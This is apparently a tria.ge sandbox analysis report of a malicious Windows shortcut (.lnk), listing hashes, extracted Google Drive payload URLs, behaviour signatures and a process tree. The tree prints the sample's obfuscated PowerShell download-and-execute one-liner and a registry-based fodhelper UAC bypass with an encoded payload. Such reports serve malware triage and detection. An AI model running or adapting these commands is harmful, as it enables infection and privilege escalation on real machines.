Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
49s -
max time network
50s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
09/06/2023, 20:09
Static task
static1
General
-
Target
8aab7266ea91f873551d892fd1681f4a800d3d7cc6e46201fbbe4fbbd98ed414.lnk
-
Size
3KB
-
MD5
1b5b81995133090e5a31ca3bee36794e
-
SHA1
f9247cad841aa5fa4de76ef4e7e457ae13c4f61e
-
SHA256
8aab7266ea91f873551d892fd1681f4a800d3d7cc6e46201fbbe4fbbd98ed414
-
SHA512
5607b4c8512a1d7bfe26d7af7280caa1a5b9ce8eb27cc89e214eabab832278ed65c643f1b87d4738564ba6e0f4760cafa26b9466f5d2916a94a1ef877947a639
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=1HFUT-JDcGJccWNG8J9DQsDnw_Zc2QYn0
Extracted
https://drive.google.com/uc?export=download&id=1ogbCiwBaVXPjDHhV0GcZx3l_HoU1dbid
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" powershell.exe -
Blocklisted process makes network request 7 IoCs
flow pid Process 2 4144 powershell.exe 5 4144 powershell.exe 7 4144 powershell.exe 11 4144 powershell.exe 21 1420 powershell.exe 23 1420 powershell.exe 25 1420 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1564 svchost.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AcroRd32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz AcroRd32.exe -
Kills process with taskkill 20 IoCs
pid Process 3340 taskkill.exe 1912 taskkill.exe 1472 taskkill.exe 4824 taskkill.exe 4088 taskkill.exe 2940 taskkill.exe 5072 taskkill.exe 3856 taskkill.exe 2648 taskkill.exe 4932 taskkill.exe 4316 taskkill.exe 4536 taskkill.exe 4348 taskkill.exe 2864 taskkill.exe 4324 taskkill.exe 3484 taskkill.exe 1020 taskkill.exe 4812 taskkill.exe 5060 taskkill.exe 4860 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION AcroRd32.exe -
Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar reg.exe Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar\Shell reg.exe Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar\Shell\Open reg.exe Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\ms-settings reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\ms-settings\CurVer\ = ".alecar" reg.exe Key deleted \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\ms-settings\CurVer reg.exe Key deleted \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\ms-settings reg.exe Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar\Shell\Open\command reg.exe Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\ms-settings\CurVer reg.exe Key created \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\Local Settings fodhelper.exe Set value (str) \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar\Shell\Open\command\ = "C:\\Users\\Public\\Music\\svchost.exe powershell -exEC byPASs -enc JAB0AHMAawBsAHIAdQBhAGMAPQAnAGkAJwArACcAJwArACcARQAnACsAJwB4ACcAOwBzAGEAbAAgAHUAYgBpAGoAdABhAHMAawBvAHYAZQBpAGQAbwBkAGEAagBlAGsAcwBsAHUAegBuAGUAIAAkAHQAcwBrAGwAcgB1AGEAYwA7ACQAcAB6AGgAaABxAGQAdwBsAD0AdQBiAGkAagB0AGEAcwBrAG8AdgBlAGkAZABvAGQAYQBqAGUAawBzAGwAdQB6AG4AZQAoAHUAYgBpAGoAdABhAHMAawBvAHYAZQBpAGQAbwBkAGEAagBlAGsAcwBsAHUAegBuAGUAKAAkACgAJAAoACcAKABuAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwB3AC0AbwBiAGoAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AGMAdAAgAFMAeQBzAHQAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AG0ALgBOAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwB0AC4AVwB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAYgBDAGwAaQB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAbgB0ACkALgBEAG8AcABwADgAMwA4ADMAagBuAEQAdAByAGkAbgBnACgAJwAnAGgASgB1AGQAMgBOAEIASQBkAHIAaQB2AFAAUABzADgAMgA4AEQARgBTAC4AZwBVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBnAGwAUABQAHMAOAAyADgARABGAFMALgBjAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAG0ALwB1AGMAPwBQAFAAcwA4ADIAOABEAEYAUwB4AHAAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAcgB0AD0AZABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQB3AG4AbABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBhAGQAJgBpAGQAPQAxAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGcAYgBDAGkAdwBCAGEAVgBYAFAAagBEAEgAaABWADAARwBjAFoAeAAzAGwAXwBIAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAFUAMQBkAGIAaQBkACcAJwAuAFIAZQBwAGwAYQBjAGUAKAAnACcASgB1AGQAMgBOAEIASQAnACcALAAnACcAdAB0AHAAcwA6AC8ALwAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnACcAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAJwAnACwAJwAnAG8AJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwAnAFAAUABzADgAMgA4AEQARgBTACcAJwAsACAAJwAnAGUAJwAnACkAKQAnACkALgBSAGUAcABsAGEAYwBlACgAJwB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAJwAsACAAJwBlACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAHAAcAA4ADMAOAAzAGoAbgBEACcALAAgACcAdwBuAGwAbwBhAGQAUwAnACkAKQApACkA" reg.exe Key deleted \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar\Shell\Open reg.exe Key deleted \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar reg.exe Key deleted \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar\Shell\Open\command reg.exe Key deleted \REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000_Classes\.alecar\Shell reg.exe -
Modifies registry key 1 TTPs 4 IoCs
pid Process 5036 reg.exe 1096 reg.exe 2512 reg.exe 3224 reg.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4144 powershell.exe 4144 powershell.exe 4144 powershell.exe 1420 powershell.exe 1420 powershell.exe 1420 powershell.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 4144 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeIncreaseQuotaPrivilege 1420 powershell.exe Token: SeSecurityPrivilege 1420 powershell.exe Token: SeTakeOwnershipPrivilege 1420 powershell.exe Token: SeLoadDriverPrivilege 1420 powershell.exe Token: SeSystemProfilePrivilege 1420 powershell.exe Token: SeSystemtimePrivilege 1420 powershell.exe Token: SeProfSingleProcessPrivilege 1420 powershell.exe Token: SeIncBasePriorityPrivilege 1420 powershell.exe Token: SeCreatePagefilePrivilege 1420 powershell.exe Token: SeBackupPrivilege 1420 powershell.exe Token: SeRestorePrivilege 1420 powershell.exe Token: SeShutdownPrivilege 1420 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeSystemEnvironmentPrivilege 1420 powershell.exe Token: SeRemoteShutdownPrivilege 1420 powershell.exe Token: SeUndockPrivilege 1420 powershell.exe Token: SeManageVolumePrivilege 1420 powershell.exe Token: 33 1420 powershell.exe Token: 34 1420 powershell.exe Token: 35 1420 powershell.exe Token: 36 1420 powershell.exe Token: SeDebugPrivilege 4932 taskkill.exe Token: SeDebugPrivilege 4316 taskkill.exe Token: SeDebugPrivilege 4536 taskkill.exe Token: SeDebugPrivilege 2940 taskkill.exe Token: SeDebugPrivilege 1472 taskkill.exe Token: SeDebugPrivilege 4348 taskkill.exe Token: SeDebugPrivilege 2864 taskkill.exe Token: SeDebugPrivilege 4824 taskkill.exe Token: SeDebugPrivilege 5072 taskkill.exe Token: SeDebugPrivilege 4812 taskkill.exe Token: SeDebugPrivilege 4088 taskkill.exe Token: SeDebugPrivilege 3856 taskkill.exe Token: SeDebugPrivilege 2648 taskkill.exe Token: SeDebugPrivilege 3340 taskkill.exe Token: SeDebugPrivilege 5060 taskkill.exe Token: SeDebugPrivilege 4860 taskkill.exe Token: SeDebugPrivilege 3484 taskkill.exe Token: SeDebugPrivilege 1020 taskkill.exe Token: SeDebugPrivilege 1912 taskkill.exe Token: SeDebugPrivilege 4324 taskkill.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4748 AcroRd32.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 4748 AcroRd32.exe 4748 AcroRd32.exe 4748 AcroRd32.exe 4748 AcroRd32.exe 4748 AcroRd32.exe 4748 AcroRd32.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3640 wrote to memory of 4144 3640 cmd.exe 67 PID 3640 wrote to memory of 4144 3640 cmd.exe 67 PID 4144 wrote to memory of 4540 4144 powershell.exe 68 PID 4144 wrote to memory of 4540 4144 powershell.exe 68 PID 4540 wrote to memory of 4748 4540 cmd.exe 69 PID 4540 wrote to memory of 4748 4540 cmd.exe 69 PID 4540 wrote to memory of 4748 4540 cmd.exe 69 PID 4748 wrote to memory of 4712 4748 AcroRd32.exe 71 PID 4748 wrote to memory of 4712 4748 AcroRd32.exe 71 PID 4748 wrote to memory of 4712 4748 AcroRd32.exe 71 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3712 4712 RdrCEF.exe 72 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73 PID 4712 wrote to memory of 3888 4712 RdrCEF.exe 73
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\8aab7266ea91f873551d892fd1681f4a800d3d7cc6e46201fbbe4fbbd98ed414.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:3640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /""W 0""1 ""-Non""Inte""ract""ive ""-No""Prof""ile ""-Exe""cut""ionPo""licy ""Byp""ass $XXqZV5j636xyMWoQjBnihI6qZ6Ea7bd248S1o5QFJCb64Z5A3f9kY5idua9xLXcTTbPmU7VpPLd1NKbg36GkC5Jd6oyR5b80N05013658LEnyR05BRBmR935OM0EO1o85a0RAIWyzQPQ70P8J4hc3Jwk8Qz3a5B47R1A4R08ldyY9SlGs6rudS3qpg3U21QHxA2iAMYJ8Gnzauv14bdGE84rQeFVbFR2EwZ03LIMVeatUJMc71q0u85cCKNo70z2hcE42xM44QtJ884GTtyRE2YoIsH7nBfYJu3U8EIM4jI07l37XfQP91G5i1QgwR7M5Mc45yqoo='i""Ex';sal uzbekistanac $XXqZV5j636xyMWoQjBnihI6qZ6Ea7bd248S1o5QFJCb64Z5A3f9kY5idua9xLXcTTbPmU7VpPLd1NKbg36GkC5Jd6oyR5b80N05013658LEnyR05BRBmR935OM0EO1o85a0RAIWyzQPQ70P8J4hc3Jwk8Qz3a5B47R1A4R08ldyY9SlGs6rudS3qpg3U21QHxA2iAMYJ8Gnzauv14bdGE84rQeFVbFR2EwZ03LIMVeatUJMc71q0u85cCKNo70z2hcE42xM44QtJ884GTtyRE2YoIsH7nBfYJu3U8EIM4jI07l37XfQP91G5i1QgwR7M5Mc45yqoo;uzbekistanac(uzbekistanac($($('(n""QNVrd3W""2GjJK36w-oBJQ""NVrd3W2G""jJK36ct sY""stQNV""rd3W""2GjJK36m.NQNVrd3""W2GjJK36t.WQN""Vrd3W2GjJK36bcLi""QNVrd3W2GjJ""K36nt"")"".dos""2Wr6qQRtR""InG(''hfTdH8C6drivz2Wr6qQR.gs97YMGcyg0WCrs97YMGcyg0WCrglz2Wr6qQR.cs97YMGcyg0WCrm/uc?z2Wr6qQRxps97YMGcyg0WCrrt=ds97YMGcyg0WCrwnls97YMGcyg0WCrad&id=1HFUT-JDcGJccWNG8J9DQsDnw_Zc2QYn0''.rEpLACe(''fTdH8C6'',''ttps://'').rEpLACe(''s97YMGcyg0WCr'',''o'').rEpLACe(''z2Wr6qQR'', ''e''))').rEpLACe('QNVrd3W2GjJK36', 'e').rEpLACe('s2W""r6qQR', 'wnlo""adS'))))2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c start C:/ProgramData/file.pdf3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4540 -
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\ProgramData\file.pdf"4⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140435⤵
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A3F85790BA93445D04D36FB4B4599AAC --mojo-platform-channel-handle=1620 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:26⤵PID:3712
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=34B2C2E86F3E828DA603714BB73A04D7 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=34B2C2E86F3E828DA603714BB73A04D7 --renderer-client-id=2 --mojo-platform-channel-handle=1640 --allow-no-sandbox-job /prefetch:16⤵PID:3888
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=1FD735839D43094834D0433A6D9750C5 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=1FD735839D43094834D0433A6D9750C5 --renderer-client-id=4 --mojo-platform-channel-handle=2196 --allow-no-sandbox-job /prefetch:16⤵PID:4720
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F33E00CAD4B7B3A98BC2174FBCFC8604 --mojo-platform-channel-handle=2716 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:26⤵PID:4948
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=1DAB9133519EFB832D74CB8371A4A689 --mojo-platform-channel-handle=1556 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:26⤵PID:4856
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=65BE02194755994A45C139CD8332E698 --mojo-platform-channel-handle=1644 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:26⤵PID:664
-
-
-
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKCU\Software\Classes\.alecar\Shell\Open\command /d "C:\Users\Public\Music\svchost.exe powershell -exEC byPASs -enc 